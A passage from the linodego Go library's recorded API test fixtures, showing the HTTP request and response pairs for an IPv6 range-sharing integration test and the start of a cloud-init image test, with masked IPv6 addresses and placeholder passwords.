X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/46938050 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestIPv6Range_Share.yaml000066400000000000000000000576031455402072200311750ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62,139.144.192.60,139.144.192.61,139.144.192.53,139.144.192.54,139.144.192.67,139.144.192.69,139.144.192.66,139.144.192.52,139.144.192.68", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], "page": 1, "pages": 1, "results": 14}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"eu-west","type":"g6-nanode-1","label":"go-ins-test-range6","root_pass":"R34lBAdP455LONGLONGLONGLONG","image":"linode/debian9","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 46937848, "label": "go-ins-test-range6", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["212.71.232.129"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "eu-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "7d0426337958eebb8b3cde36ae6f72f70e168be8"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "712" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"linode_id":46937848,"prefix_length":64}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ipv6/ranges method: POST response: body: '{"range": "1234::5678/64", "route_target": "1234::5678"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "87" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"eu-west","type":"g6-nanode-1","label":"go-ins-test-share6","root_pass":"R34lBAdP455LONGLONGLONGLONG","image":"linode/debian9","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 46937849, "label": "go-ins-test-share6", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["212.71.232.158"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "eu-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "b2b25265d31dc7c7ddd3c2a19229a8bece29ccc9"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "712" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"ips":["1234::5678"],"linode_id":46937848}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips/share method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"ips":["1234::5678"],"linode_id":46937849}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips/share method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/46937849/ips method: GET response: body: '{"ipv4": {"public": [{"address": "212.71.232.158", "gateway": "212.71.232.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "212-71-232-158.ip.linodeusercontent.com", "linode_id": 46937849, "region": "eu-west"}], "private": [], "shared": [], "reserved": []}, "ipv6": {"slaac": {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 46937849, "region": "eu-west", "public": true}, "link_local": {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 46937849, "region": "eu-west", "public": false}, "global": [{"range": "1234::5678", "prefix": 64, "region": "eu-west", "route_target": null}]}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "858" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/46937849 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: 'https://api.linode.com/v4beta/networking/ipv6/ranges/1234::5678' method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/46937848 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestImage_CloudInit.yaml000066400000000000000000000514701455402072200313020ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], 